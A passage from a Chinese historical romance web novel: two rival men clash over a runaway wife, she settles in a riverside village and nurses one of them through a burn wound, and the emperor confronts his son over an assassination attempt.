眼下这般境况,倒不如放她离开,旁人寻不到她的踪迹,她既能过得快活,也能过得太平安稳。” 陆谌沉默半晌,缓缓攥紧了圈椅扶手,骨节用力到咯咯作响,“我既要寻她回来,自然能护她周全。” “护她周全?”谢云舟似是听到什么好笑的话,匀气忍了片刻,还是没忍住冷嗤出声:“陆秉言,这话说出来你自己信么?好好的一个小娘子,当初满心欢喜地嫁与你、同你去了上京,结果呢?不到三个月,她便孤身一人南下离京,甚至险些丢了性命!这就是你护的周全?!” 似是终于被戳到痛处,陆谌再也压不住怒意,咬牙冷笑道:“说得如此堂皇,我倒想问问你,这般缠搅进我与妱妱之间,你究竟有几分是担心我护不住她,又有几分是为着自己的私心?若非是你从中插手,她又岂能就这般离开?!” 谢云舟一瞬气笑了,“她一心要走,难道是因为我么?还不都是因为你!她同你在一处,日子过得不好,过得不快活,她才要走。 我还想问问你呢陆秉言,你到底干了多少混账事,竟能伤她至此,铁了心要和你一刀两断?” 停顿片刻,他看着陆谌,下颌扬起,一字一句道:“是,我也的确有私心。从前你待她好,我便视你们为兄嫂,绝不逾矩半分,可如今你待她不好,那我便去做那个待她好的人。 陆秉言,我就是心悦她,怎么了?” 陆谌的脸色变得愈加惨白难看,鬓边不住地淌下冷汗,两人对视片刻,他忽而偏过头,握拳剧烈地咳了几声,摊开手,一掌心的殷红血色。 见状,南衡神色猛地一变,几步上前,护在陆谌身前,隐隐含怒地看向谢云舟。 陆谌却忽然抬了抬手,示意他退下。 南衡咬了咬牙,半晌,终是领命退了出去。 四下里再无旁人,屋内一时静谧,只能听得见两个男人微微发促的呼吸声。 恢弘的光瀑从窗外斜射进来,陆谌半边脸颊映着日光,半边脸颊匿入黑暗,本就惨白的一张脸,神色越发显得晦暗不定。 半晌,他哑声开口:“妱妱一向心软,最是受不得旁人的好。你不能予她安稳,便莫要害她,更莫要去勾引她。” 谢云舟闻言猛地上前一步,俯身逼视过去,寒声怒道:“陆秉言你自己做不到护她安稳,少来往我身上泼脏水,我有何不能?” 陆谌似是听到什么笑话,深邃幽沉的黑眸抬起来,直直望向谢云舟,唇边勾起一抹浅淡的讥嘲:“你能如何?你能娶她么?你能明媒正娶,让她做你的郡王妃么?” 谢云舟早已怒红了眼,不由凉凉嘲讽道:“有何不可?只要她今日答允,明日我便能请你喝一杯喜酒,到时候你可莫要不来。” “是么?”陆谌忽然冷笑一声,胸有成竹一般,不疾不徐地开口,“鸣岐,你莫不是忘了你这郡王爵是从何而来。” 他一双黑眸沉静无波,出口的话却有如惊雷炸响,“我是该叫你谢鸣岐,还是……李鸣岐?” 第44章 安居 谢云舟也仿佛被滚雷劈中,身形一瞬僵凝在原地。 陆谌却似浑然不觉,勾了勾唇,漫不经心般地开口:“我还记得你的表字,是在七年前的那场秋狝上,官家当着朝臣百官的面亲自为你取下的。 ‘周之兴也,鸑鷟鸣于岐山’,鸣岐,官家对你,当真可谓是寄予厚望啊。” 谢云舟脸色唰地一白。 看着陆谌薄唇淡淡开合,他眼前竟隐约泛起一阵眩晕,某些刻意遗忘的东西争先恐后地从脑海中翻涌而出,仿佛又回到那个雨夜,京郊行宫里,那人嘶声骂着孽障野种,一双苍老狰狞的枯手死命掐住他的脖颈,几乎迫得他喘息不能。 谢云舟用力地闭了闭眼,下颌线条紧绷起来,齿关咬得咯咯作响。 冷眼看着他这副模样,陆谌牵起唇角,讥嘲地笑了笑,“倘若让官家知晓,这么多年来,你一直揣着明白装糊涂,和他演着一出好舅甥的戏码……不知他会如何作想?” 谢云舟掌心死死扳住案几桌沿,抬眼瞪向陆谌,语气中又隐约带了几分不可置信,“陆秉言,你威胁我?” 陆谌忽而冷笑了一声,眼神却越发平静,只苍白着一张脸,不疾不徐地开口:“不错,我就是在威胁你。” “眼下两淮盐运案发,李桢和徐崇的勾当遮掩不住,已是难逃罪责,官家对他早有不满,此番责罚必要牵动他根基筋骨,若无意外,王爵难保。如此紧要关头,若是有人将那等要命的事捅出去,你猜,官家是会册立太孙呢,还是会顺势要你认祖归宗?” 也不待谢云舟作声,陆谌仰起脸,似是想到什么好笑的事,微微地勾了勾唇角,“待到那时,你又拿什么予她太平安稳?如此显赫身份,只怕她更要对你避之不及罢。” “陆秉言!” 谢云舟呼吸变得急促,眼中怒意猛然高涨起来,上前一步狠狠地瞪住陆谌。 陆谌也阴沉了眉眼,分毫不让地逼视回去,嗓音愈加冷寒:“谢鸣岐,看在多年的兄弟情分上,我今日便将这丑话与你说个清楚明白。 倘若你还对妱妱存着不该有的念想,我不介意出手从中推上一把,且看看你还有多少逍遥日子好过。” 听到此处,谢云舟再也忍耐不住,上前一把揪起陆谌的衣襟,挥拳便朝他面门砸了过去,“陆秉言,你我二十年的兄弟,你竟拿此事来威胁我?!” 陆谌抬手抹去唇角渗出的血丝,微红着眼转过头,声音也猛地高了起来,“你觊觎我妱妱的时候,又可曾想过你我是二十年的兄弟?!” 两双黑沉沉的锋锐剑眸撞到一处,俱是怒意翻腾,戾气汹涌,剑拔弩张着,谁也不肯退让半分。 对视半晌,谢云舟咬了咬牙,恨声怒道:“陆秉言,你是疯了不成?当年之事你也参与其中,你就不怕自己一朝惹上欺君大罪?牵扯天家密辛,你可是嫌命长了?!” 听见这话,陆谌不屑地垂眸轻哂一声。 少顷,他牵了牵唇角,冷嘲道:“鸣岐,你还是不够心狠,行事亦不能做绝,却偏偏投生在帝王家。以你这般的身份性情,到头来只会害人害己,又如何配谈能给她安稳?” 谢云舟气得额上青筋突突直跳,只觉自己先前当真是瞎了眼,竟会觉得陆谌有几分可怜,这厮分明是可恨可恶至极,活脱脱一副疯狗模样,怎就没教那刺客一剑捅死了事。 他忍不住凉笑着嘲讽回去,“我自然比不得你心狠手黑,诸事做绝,不然依着九娘那般的柔善性子,又岂能被逼得与你情断反目、从你身边一逃再逃?” 一瞬被刺中心头隐痛,陆谌怒极反笑,幽沉目光定定地落到他脸上,“妱妱同我是年少结发,相依为命情深爱重,即便如今她和我生出几分龃龉,也迟早都会回到我身边。谢鸣岐,你若敢打她的主意,便休要怪我打你的主意。” 谢云舟舔了舔后槽牙,微扬起下巴,语气嘲讽,一字一句直往陆谌的心窝子里戳:“说到底,还不是怕我乘虚而入?陆秉言,看来你心里分明清楚得很啊,她如今早已不是非你不可,就算不是我,她也会有旁人。 她还这般年轻,正当好年华,又生得好容貌好性情,只要她愿意,有大把的好儿郎想要娶她回家,她早晚会嫁给旁的男子,和旁的男子生儿育女……” “做梦!” 陆谌猛地厉喝打断,舌尖狠狠抵过齿关,再开口,眼尾已然泛起一片赤红,“我此生只有她一个,她此生亦只能有我一个,旁人谁敢碰她一指,我便杀了谁!要我放手,除非我死。” 闻言,谢云舟咬牙冷笑两声,也不欲多留,回身拿起马鞭,轻转了两圈,插到腰间,抬头冲陆谌扬唇一笑,不甘示弱地顶了回去,“成啊,我等着你来杀我。” 话衅撂下,也不管陆谌再作何反应,谢云舟反身快步出了后院衙署,片刻未停,一路策马疾驰到长街尽头,方才遥望着穹际云霞,重重地呼出一口浊气。 尽管他心中再恨再怒,可有一桩事陆谌却不曾说错。 他的身份终究是个隐雷,倘若不想个法子趁早拔除了,迟早要炸出更大的动乱,甚至还会牵累到旁人,又哪里有资格对她生出妄念? 如今朝中形势不同,官家的身子一年比一年老弱,他虽无心朝野,可终究是生在天家长在天家,如何看不出官家那一层隐秘欲动的心思?甚至几次试探,他也不过是自欺欺人,装聋作哑。 心头说不出的烦躁,谢云舟勒马而立,遥遥望着上京的方向,不自觉地缠紧了手中缰绳,骨节渐渐用力到泛青发白,在掌心勒出一道道淤红的深痕。 呵,说起来,李桢当年倒也不曾骂错,他可不就是个野种么? 生来便是一身肮脏污血,这辈子,都洗脱不清。 折柔带着水青寻到叶家名下的一处药堂,报上了沈九娘的名号,说明来意后,掌柜很快便打发人去请了叶以安。 当初在宿州的时候,叶以安亲眼看着她家中闯入一个蛮横郎君,她又突然不告而别,叶以安起初很是为她担忧过一阵,为此,还曾特意去府衙寻过谢云舟打听消息。 直到后来他打探得知,那男子似乎是她家中郎子,和离后又追过来要带她回去,倒也不是什么凶徒歹人,他这才稍稍放下心来,默默徘徊几日后回了楚州,只是这一路上,心中难免生出几分说不清道不明的怅怅之意。 万万没有想到,她竟还会有一日寻到楚州来。 叶以安乍然听闻此信,整个人都精神了,原本已准备乘船南下去钱塘访友,人都到了渡口,当即又折返回来,匆匆赶到药堂去见折柔。 “九……九娘!”走得太急,他额上都沁出了一层细汗,在日光下莹莹闪烁。 见到叶以安,折柔笑着起身,同他问好,“叶公子。” 两人闲叙了几句,叶以安拘谨着问起陆谌,折柔只推说是郎子闹过一阵也冷了心,说好了同她从此一别两宽。 听闻叶以安原要乘船南下,倒是正合她心意,折柔笑了笑道:“我也正想去扬州定居,和钱塘也算顺路,不如咱们一道。” 叶以安自然欢喜应下。 次日舟船便抵达扬州,折柔笑着同叶以安作别,带着水青换了一条渔船,折拐到繁盛的平江府盘旋了一日,问过几处房价,都贵得不甚合宜,又听闻城外燕子坞风景秀丽,赁屋价格也便宜得多,她打算过去瞧一瞧。 离开人烟埠盛的平江府,周遭的喧闹渐渐变得稀落,等到下了舟船,初到燕子坞,看着眼前全然陌生的街巷景色,折柔恍惚间竟生出几分无措,好在还有水青陪在身边,多一个人,总能教她安心许多。 燕子坞有山有水,遥山淡淡,草木萋萋,一陂秋水绕坞而行,待到黄昏傍晚,放目远望,便瞧得见暧暧远人村,依依墟里烟[1]。坞中百姓大多以捕鱼种稻为生,都有正经营生,民风尚算淳朴,一看便是宜居的好去处。 折柔很快便定了心,向街坊打听着,四处看过了几间屋宅。最后定下一处价钱适中的安静小院。 此间小院占地不阔,只有一进大小,位置也不甚惹眼,家具摆设已经半新不旧,仔细说来,屋内只能算是将将可住,不少物什还得自己置办。 其实她手中银钱足够,也赁得起更贵的住处,但她毕竟是外乡女子初来乍到,人生地不熟,最忌露财,先寻一处简朴不出格的屋宅落脚,旁的可以日后再看。 更不必说,小院里栽了一棵柿子树,树冠高大挺拔,枝叶繁茂婆娑,半青不红的柿子累累垂挂在枝头,秋风拂过,树叶沙沙作响,生机勃然,折柔一看便觉得极是喜欢。 屋主是个微胖的中年妇人,姓吴,团团一张圆脸,看着便颇为和气面善,邻里街坊都唤她“吴大娘子”。 折柔自称是投亲不遇的寡妇,吴大娘子见她一个孤身娘子,身边又只有水青这么一个小丫鬟,不由得生出同情,特意回家抱来了一只半大的狗崽儿,说是养只狗儿给她们看家护院,闲汉也就不敢轻易过来招惹。 折柔便笑笑,也没有多言,吩咐水青留下小黄狗,多添了三百文赁金,算是谢过吴大娘子的一片好心。 很快在燕子坞安顿下来,日子却并不像她原本设想的那般舒泰。 和在路上的时候一样,夜里总是睡不安稳,常常做一些混乱破碎的噩梦,最后又无一不是以陆谌身死而收尾,每每骇得她半夜惊醒,浑身冷汗淋漓。 一面恨自己优柔,既已决心一刀两断,他是生是死又与她何干?一面又抑不住整夜混沌梦境,哪怕用上了一些安神的猛药,也不甚见效。 折柔痛苦着挨过了起初的几日,终于下定决心,绝不能再这般浑噩下去。 她盘算起手中的散碎银两,除去添衣买菜这些日常开支用度,还够再采买些寻常的草药,炮制一些简单的成药拿去药堂贩售。 其实她也能行医,但不论出诊还是坐堂,都免不了要抛头露面,她不知……不知陆谌是否还活着,也不知他是否派了人四处寻她……总之,还是谨慎些为好。 打定主意,折柔便开始整日整日地繁忙起来,采药、清洗、炮制,可制出的成药也不曾拿去过药堂,她心里清楚,她只是需得让自己忙起来,不然……不然心中空落,难免胡思乱想。 只有身上累了,夜间才能睡得安稳,才能好眠无梦。 匆匆数日过去,折柔自以为掩饰得极好,却不想教水青看出了她有心事。 第45章 来客 又是一夜难眠,折柔睡得很是不好,夜半做了噩梦,浑身大汗着惊醒,等到心跳终于慢慢平复,她在榻上翻覆许久,听着窗外柿子树叶的沙沙声,再无半分睡意。 一直挨到次日,天际晨曦初露,几缕清淡的日光透过支摘窗,听见晨鸡报晓,折柔披了衣裳到院子里洗漱,水青给她端来一个盛水的小木盆,放好后却没有立时走开,脚下踟蹰着,倒像是一副欲言又止的模样。 折柔看了她一眼,柔声问道:“怎么了,有事么?” 水青犹豫半晌,抬头瞧了瞧她眼下泛起的淡淡乌青,终于开口向她问起:“娘子……你是不是在挂念一个人?” 折柔微微一怔。 眼前忽又浮现起那双她已熟悉入骨的幽邃眼眸,时而含笑,时而冷冽,时而痛楚。 折柔紧紧攥住木盆的边沿,胸口隐约牵起一阵心悸。 挂念么?是在挂念他么? 先前在路上忙着奔波辗转来不及想,等到在燕子坞落脚安顿下来,她又本能地不愿去想,可如今听水青乍然一问,她当真去细细思量一回,才猛然觉出异样,这连日来的忐忑煎熬,竟也算不上是挂念。 陆谌毕竟和她有着年少相伴的情分,虽然她心中对他有怨有恨,却也不想看见他出事,可是同陆谌可能遭遇不测相比起来,她原来更在意的,是陆谌因她下药而遇险。 担心自己亏欠上一条性命,所以梦中煎熬痛苦,是负疚,是良心不安,却偏偏不再是单纯的挂念,也不再是从前那般,一见他受伤吃苦,便要被他牵动肺腑,心疼得几乎不知要如何是好。 不觉间,一切都有了些微妙的不同。 这般想来,大约……大约也算是一桩好事罢。 水青看折柔一直怔怔地出神,只当她是担忧那人,急忙劝慰道:“娘子不必担心,公子离开前曾给婢子留过话,说娘子心有牵挂,倘若十日内他不曾有飞鸽来信,那便是一切平安,公子要我告诉娘子,不用再担心那人的安危。婢子算了算,今日已经是第十一天了呢。” “什么?”折柔闻言愣了一下,片刻后反应过来,又急忙追问:“所言当真?” 水青又在心里默数了一遍日子,确定无误后,冲她笃定地点了点头:“娘子,昨日就是第十天,没有收到公子的消息,娘子心中牵挂的那个人定是平安无恙的。” 大抵是心病还需心药医,一朝得知了这个消息,仿佛心头一瞬放下重担,陡然间一身轻松。 折柔的心思渐渐安定下来,夜里虽然还需用些安神的药汤,但至少不再噩梦连连,也能定下心,仔细打算起往后的日子。 燕子坞是个小村,虽然距离平江府不远,平素也有行商往来落脚,算不得闭塞,坞中却没有什么像样的医馆,村民若是有个头疼脑热,都需得乘船入府城,才有医馆药堂给人诊病卖药。 如此一来,折柔若想贩售成药,便需得去平江府里寻医馆寄卖。 相较于在燕子坞中行医卖药,去平江府不仅更麻烦些,也更容易暴露行踪,毕竟她一个外乡女子,北方口音,又会医术制药,倘若教陆谌的人寻过来,想要找她简直是轻而易举。 倒是可以让水青扮作少年郎的模样,替她去城中寻合适的医馆,但水青毕竟年纪还小,又听不懂吴江官话,让她独自过去,只怕会吃亏,最好能寻一个人同她一道,多熟悉几回。 仔细思量后打定主意,折柔亲自做了些点心,又准备了一包滋阴补气的药茶,登门去寻吴大娘子。 她记着吴大娘子说过,她家中有个发苦功求功名的小郎,每月都要去府城买几回书本文房,既是吴大娘子家中的人,知根知底,若是能请他载上水青走个三五遭,想来最好不过。 到了吴家,折柔送了礼,同吴大娘子说明来意,又许诺每次出一百五十文,当做酬劳。 折柔特特留意过两淮一带的物价,这一百五十文差不多是书生替人抄书的一日所得,她提出这个数目,既不至于多得惹人留心,也不至于少得不够诚意。 吴大娘子本就心善,听闻此举既能帮了她,自己又能从中得些酬劳,自然极是愿意,当下便笑眯眯地应了下来,将这活计交到自家小郎手上。 折柔炮制成药一向用心扎实,要价也偏低一些,很快便有几家医馆验过货愿意收下,卖出了两批成药后,已经能收回本钱,甚至小有薄利,也算能在此地存身了。 匆匆间过去了快一个月,桂花落,霜降至,院中的柿子也由青转红,累累垂挂在枝头,长势喜人。 她如今已然适应了在这里的生活,与四邻渐渐熟悉,回想起这小半年以来,竟从未觉得日子如此安心闲适。 陆谌却已苦痛到了极处。 上京温序不断传来急信,催他回去,谢云舟那头已将水匪清剿干净,抓了大大小小十余个匪首,又招降了几个小漕帮,手中攥着王仲乾的账本,如无意外,回京便要掀起一场动荡。 这等紧要关头,陆谌需得尽快返京,还要寻着时机,安排王仲乾的妻女去敲登闻鼓告御状。 如今他在淮安盘桓月余,形势迫人,几乎已不能再拖,可他偏似生了心魔,怎样都不肯离开。 陆谌在上京虽有几分权势,根基却并不稳固,身边堪用的人手不多,十几个护卫,也顾不得防备刺客再来,他将南衡留在身边,再除去两个盯着谢云舟动静的亲卫,剩余的人手全都散了出去寻人。 然而一日日过去,始终不见她踪影。 这天下四海,二十三路四百州,人口数以千万计,要去寻一个有意掩藏踪迹躲着他的人,简直难过大海捞针,她到底会去哪里,他没有半分头绪。 间或也会有那么几个似是而非的好消息,听闻哪处渡口见过肖似的妇人,又或是听闻哪间药堂添了位年轻女医,可等他寻过去,要么是错认,要么是眼睁睁看着线索再断。 如此希望与失望反复交替,竟比全无消息更要人命,陆谌几乎夜夜不成眠,余毒入骨,彻底坐下了咳血的病症,整个人显见着消瘦下去,熬得一日比一日憔悴,神色也一日比一日阴沉狠戾,连南衡都不敢再轻易靠近。 爱极而生恨,痛极而生怨。 她明明知晓他绝不会放手,偏就这般藏身起来,安静地看着他苦苦寻人,看着他生不如死,熬干最后一丝心血。 妱妱。 妱妱。 她竟已舍得这般待他。 江南一带盛产虾蟹,临近重阳,正是秋蟹黄满膏肥的时候,燕子坞的村民傍水而居,鱼虾更是应有尽有,这日水青去平江府送药回来,手中竟拎了满满一篓的肥蟹。 她像是心情极好,微红着脸蛋,一进院门便兴冲冲地嚷了起来:“娘子!娘子快瞧!七郎送了咱们好多湖蟹!他说少用些葱姜,洗净清蒸了就能吃,味道很好!” 七郎是吴大娘子的小叔,水青和他一道去了几回平江府,两个人便愈发熟稔起来,水青索性不再唤他公子,只唤他族中序齿。 折柔笑了笑,从她手里接过来竹篓,低头看了一眼,也有些吃惊,“这么多!” 水青笑起来,脸蛋红扑扑的,眸光晶亮:“是呢!七郎真是大方!” 果然还是少年人呢。 隐约察觉到了些微妙的年少心思,折柔不觉弯唇笑了笑,既是觉得欣慰有趣,心中却也暗自盘算起来,往后还要留意些,水青尚是单纯懵懂,可千万莫要让人随意诓哄了去。 两个人闲话间洗好了螃蟹,上锅开火,螃蟹易熟,不过一炷香的功夫,便已蒸熟红透。 折柔生在北方,此前并未尝过蟹味,这时看着出锅的螃蟹,一时间竟有些无从下手。 好在水青自小随在长公主身边,见多识广,此刻自告奋勇地站了出来,去水盆里洗净手,她小心翼翼地学着长公主身边女使的模样,剥开蟹壳,先给折柔剜了勺饱满红润的蟹黄,再用筷头剔出雪白蟹肉,堆到小碟里,抬起脸,眼睛亮亮的,殷切地望向折柔。 “娘子,快尝尝!” 折柔眼睫微垂,低下头尝了一口。 这湖蟹生得极肥,红玉饱满鲜美,醇香过后,舌尖又隐有清甜回甘。 原来……原来螃蟹是这个味道。 倒是和他说过的没什么分别。 从前在洮州的时候,她和陆谌一穷二白,身无长物,她采药换来的银钱要给他买药治腿伤,勉强剩下一些,只够做两碗清粥小菜,两个人许久都没有尝过肉味,半夜先后被饿醒,五脏庙咕咕作响,实在睡不着,两个人便依偎在一处,平白做起梦来,想象着等日后银钱宽绰了,都要买些什么好吃的。 说着说着,陆谌便同她讲起了螃蟹。 他似模似样地吞了吞口水,喉结微微滚动着,讲到什么古人有言“不到庐山辜负目,不食螃蟹辜负腹”、“米贱茅柴酒美,霜清螃蟹螯肥”[1],又说樊楼还有一道名菜蟹酿橙,一蟹两吃,蟹黄肥美,尝完了膏黄,再将调过味的清甜蟹肉放进圆橙里,稍蒸片刻,鲜甜解腻,滋味简直胜过羊肉百倍。 她听得食指大动,在黑夜里悄悄地咽口水,肚子咕咕得越发响亮。 陆谌就闷闷地低笑,将她抱进怀里,一双黑眸亮得似天上寒星,低声同她许诺,等回了上京,到秋去冬来螃蟹肥美之时,必要带她去趟樊楼,点上一桌全蟹宴,让她好好尝上一回滋味。 彼时,他们都以为最难的事是回上京,谁又能料想得到,他们后来当真回去了上京,却没能等到今岁的秋冬。 折柔抿了抿唇。 算算日子,她已走了一月有余,但依着陆谌的脾性,想必还在让人寻她下落。 只能聊以宽慰自己——王仲乾那边出了事,想来他也不能在这边久留,至多两月,早晚要回上京的。 既然做不得相濡以沫,那她和陆谌这两条鱼儿,从今往后能安安稳稳地相忘于江湖,便是最好。 转眼重阳过后,气候愈发冷寒,折柔到市集上买了些针线,又挑了两匹布头,想着要给自己和水青和做两件御寒的夹衣。 一直忙到隔日傍晚,夹衣上还剩些细活没有做完,眼见着灯油快要不够使,折柔让水青去村口货郎家中再买些回来,自己则留在家中继续赶制衣裳。 听着屋外吹起秋风,摇动得柿子树簌簌作响,只怕夜间要下雨。 折柔放下针线,起身到院中唤了声“小狸”,屋角的小黄狗一瞬竖起耳朵,欢快地奔了过来,在她脚边躺倒,蹭了蹭,翻出肚皮。 折柔情不自禁地笑起来,伸手摸了摸它柔软的肚皮,将它抱进屋里,陪着她做针黹。 正低头缝着衣摆锁边,忽听见窗外隐约传来些窸窣声响。 折柔起先并未留意,只当是水青去买灯油回来了,然而原本还趴在她脚边打盹的小狸却警觉地站起来,冲着门外叫了几声。 直觉出不对,折柔心脏一瞬收紧,紧接着又砰砰急跳起来。 窗外的声响又近了几分。 折柔悄声站起身,到枕下摸出一把短匕,紧紧攥在掌心。 有人敲响屋门。 喉咙一阵发干,折柔无意识地吞咽了一下,小心翼翼地挪到门边,压低声音,谨慎地问了一声:“是谁?” “是我。” 不过须臾,门外响起一道低哑疲惫的男子声音。 这声音她再熟悉不过。 折柔心一惊,伸手拉开了屋门。 见她开了门,一室昏黄的烛光倾泻而出,门外那人抬起一张惨白的俊脸,虚弱地冲她笑了笑,“九娘。” 第46章 赖上 院中天色黯淡,乌云聚拢,折柔借着屋内的一豆灯火,将将看清了谢云舟的模样。 谢云舟穿着一身交领粗布袍,像是特意乔装成了寻常百姓,此刻几乎是将大半个身子都倚靠在门框上,神情倦怠,苍白的脸上隐约泛着些不正常的潮红,但门口光线晦暗,她也看不大真切。 折柔直觉谢云舟的情形有些不对劲,又仔细看了看他的脸色,问道:“鸣岐,你怎么来了?” 谢云舟扯唇笑了下,似是想要回答她的问话,可还不及张口,整个人便直直地倒了下来,像是再也支撑不住,一头朝折柔栽去。 折柔心一惊,下意识地伸手扶了一把,掌心骤然触到他肩背,这才发觉谢云舟是发了高热,浑身滚烫得厉害,甚至还在隐隐发颤。 折柔勉强撑住谢云舟脱力的身子,吃力地抬起头,朝门外望去一眼。 然而院中空无一人,想来谢云舟的护卫没有跟随过来。 折柔心中暗觉不妙,若非是出了变故,谢云舟断不会这般突然地寻过来,独自一个人,又发着热,也不知是病了还是伤了,当务之急,还需尽快诊治。 看着眼下这情形,无人能伸手帮忙,折柔咬了咬牙,将谢云舟的一条胳膊搭上自己肩头,撑起他大半边身子,半拖半抱着将人往屋里送。 小狸乍然见到生人极是警惕,冲着谢云舟吠叫了几声,紧紧地跟随在折柔身边。 折柔分不出力气,只能抬起脚尖,轻轻地将它拨开一些,“小狸,让开些。” 谢云舟看着清瘦,却生得极是结实,身量又高大,和陆谌几乎不差上下,他失了意识,压在她肩头上既硬且沉,从门口到里间卧榻,不过短短十余步的距离,已走得折柔气喘吁吁,累出了一身的热汗。 卧间里的烛光熹微黯淡,只隐约照亮床榻的边缘轮廓,光线昏昏,眼前像笼了一团雾,看什么都是模模糊糊的影儿。 小心试探着走到脚踏附近,折柔咬紧牙关,总算顶住最后一口气,将谢云舟扶到床上躺好,却不想,他后背将一触到床褥,脸上便露出了痛苦神色。 似乎是被痛楚唤醒,谢云舟倒吸一口凉气,原本紧闭着的双眼微微挣开了一条缝隙。 折柔愣了一瞬,反应过来,急忙唤他:“鸣岐,你背上有伤?” 谢云舟喉结上下微滚,费力地低应了一声,还不等折柔再追问详情,便又烧得昏了过去。 看着床榻上双眼紧闭呼吸急沉的谢云舟,折柔蹙着眉犹豫一瞬,还是决定不等水青回来帮忙,先救人要紧。 折柔在榻前点了一只明烛,反身走去外间,在装着针线的笸箩里寻出一把小剪,拿回来放在烛火上烧了烧,解开谢云舟的外袍,去剪他身上里衣。 衣裳裁开,借着一旁的灯火,折柔乍然看清了他的伤势,不由惊得一怔。 谢云舟的腰背处是一大片已经血肉模糊的皮肤,这般瞧着,不是被刀剑所伤,倒像是被大火烧灼过,又处置不当,以至于到此时燎泡尽数发红破溃,渗出血水,紧紧地粘黏住了里衣。 这般大片的烧伤,一旦生出肿疡足以要人性命。折柔也不敢再耽搁,匆匆去小厨房兑了盐水,回来将谢云舟背上伤处仔细清洗过一遍,又去药箱里翻出一把地榆根,用药杵捣出汁液,连同蜂蜜一道和了,涂敷到谢云舟的背上。 一切忙完,折柔身上的衣衫早已被汗水浸湿,黏在身上,极不舒服。 正巧水青买了灯油回来,折柔便将谢云舟交给她照看,自己去外间草草擦了身,重新换上一身干爽衣裳。 洗漱停当后不久,谢云舟已经有了退烧的迹象,折柔心下微微一松,又去庖厨煎了一味黄连解毒汤,吩咐水青喂着他服了。 总算处置利落,等到谢云舟彻底退了热,已是深夜时分。谢云舟占了她的床,西次间里水青的小榻也睡不下两个人,折柔索性便在外间的竹椅上将就着歇下。 她实是忙得疲累了,很快便昏沉着睡去。 醒来不知是什么时辰,折柔微微动了动,却忽然发觉她正睡在自己的榻上,盖着的被子和身下的床褥也都是新换过的。 折柔愣了一阵,急忙坐起身,四下环顾了一圈。 屋子里空无一人,她还有些回不过神,几乎要以为昨夜看到的谢云舟都是她做的梦。 似乎是听见她的动静,卧房的门忽然被人叩了叩,谢云舟低哑的声音在外响起:“九娘?醒了?” 折柔应了一声,低头仔细检查一番,整理好衣襟,起身下榻。 谢云舟抱臂倚在门口,见她从屋中出来,立时扬唇笑了笑,“九娘,劳烦你了,又救我一回。” 他像是刚刚洗漱过,墨色碎发微微润湿,稍显凌乱地贴在额前,脸上虽然还是苍白着,不见多少血色,精气神却好了许多。 折柔笑笑,张了张口,正想说还要谢谢他帮忙才是,忽然被谢云舟扬眉打断,“不要说谢我。” 他才不要她的感谢,未免也太过生分了。 她又几时会对陆秉言说声“谢谢”?只这样一句,便轻易地划分出了亲疏远近。 折柔抿唇失笑,也不再同他客套,转而问起旁的:“你身上的伤是怎么回事?” 谢云舟神色微微一顿。 折柔没有留意他的异样,只是多年行医诊病的习惯,让她微微蹙了眉,“你伤得不轻,怎的非但没有好好诊治,反倒是还发着高热便胡乱走动?” 谢云舟眼神飘忽一瞬,少顷,若无其事地唔了一声,“也没什么,就是这回差事办砸了,捅出来一个不大不小的篓子,回去怕是要受官家重罚,正巧路上遇了刺客,我索性脱身出来躲躲,也就来不及仔细处置。” 说着,谢云舟侧头看向折柔,懒洋洋地咧嘴一笑,“一时间又无处可去,只想求九娘收留我些时日,等官家火气消了我再回去。” 日光透过桃花窗纸漫进室内,给他的侧脸镀上一层浅淡金色。 谢云舟的里衣已经被剪坏了,他此时便只穿了件外袍,尽管有意掩了衣领,可动作间难免稍有松垮,刚好露出来一截清俊利落的锁骨,冷白清瘦,隐约残留着洗漱过后的微凉水气。 折柔不由得怔了怔,昨夜情急时只当医者眼中无男女,此刻曦光明澈,倒是让人有些不大自在。 她稍稍别开些视线,又为了掩饰那点细微的不自在,开口问道:“昨夜情急之下剪了你的里衣,你平素穿什么尺寸?隔壁张婶子做裁缝营生,我让水青去给你裁一身回来。” 谢云舟闻言愣了下,倒是真的被难为住了,“……我也不知。” 折柔一顿。 是她糊涂了,如谢云舟这般金尊玉贵养大的小王爷,自然是从小衣来伸手由人伺候,又哪里能知道自己衣裳的尺寸大小? 折柔又快速扫了一眼他的身形,心中大致有了主意,“你和陆谌的身量差不多,按着他的尺寸做便是。” 说完,她便迈步出门,打算去寻水青,吩咐她到张婶子家给谢云舟新裁一件里衣。 “不一样。” 刚刚走出两步,谢云舟忽然在她身后出了声。 折柔一怔,回过头,“嗯?” “我和陆秉言的尺寸不一样。” 谢云舟也不倚着门框了,在她的注视下站直身子,又状似不经意地挺了挺腰背,挑眉闲闲道:“我比他高了半寸。” 折柔:“……”幼稚。 上京,禁中,福宁殿。 还不到掌灯的时辰,幽深的殿宇中光线昏昧,空气中弥漫着一股散不去的苦药味。 那日乍然得了谢云舟遇刺失踪的消息,官家急火攻心之下一病不起,至今已经三日有余。 官家清醒后,还不及用药,便下了一道旨意。 “把李桢,给朕叫来。” 官家声音嘶哑得厉害,一字一字,像是生生从齿缝间挤出来,怒意雷霆,直教人胆颤。 近侍怀忠腿心一软,忙领命去了。 不到半个时辰,李桢进了殿,低头上前行礼,“爹爹……” 谁成想问安的话还未说完,便被官家厉声喝断:“跪下!” 官家虽素有积威,但极少这般疾言厉色,今日显见是雷霆震怒,难以收场。 李桢脸色唰地一白,心头巨震,只怕是要发作两淮盐运一事,当即伏跪了下去。 官家倚靠着软绸引枕,急喘了几口气,冷沉的目光却一直死死地钉在李桢身上:“不肖子,朕且问你,鸣岐遇刺,可是你叫人动的手?” 他原已做好被问讯插手私盐一事的准备,却不想会听到这样一问,李桢猛地一惊,愕然抬起头来:“爹爹,此话怎讲?孩儿冤枉!” 官家骤然提高了音量,怒声断喝道:“事到如今,你还要狡辩?!” 说着,他怒极攻心,猛地抬手将榻边的药碗砸过去,正正劈中李桢的面门。 李桢不敢躲,只能生受了这一下,额角霎时被碎瓷割出一道细细血线,匆忙辩解,“此事当真与儿臣无关,还请官家明鉴。” 官家怒极反笑,咬牙切齿地看着他,目光阴鸷得如同淬了寒冰,“除了你,还会有谁?还会有谁?!鸣岐奉命去清剿水匪,顺着一路查到盐运,查到你头上……你眼看着自己罪责难逃,便从此生出歹念,可是如此?” 说到一半,官家俯身剧烈地咳了几声,仿佛要将心肺都咳吐出来,双眸一瞬充了血:“你是觉得,朕只有你一个儿子……昭儿年幼,难以为储……你有恃无恐……便生出这般熊心豹子胆,为了遮掩自己的罪证……竟敢对鸣岐下手,朕说的,是也不是?!” 第47章 皇命 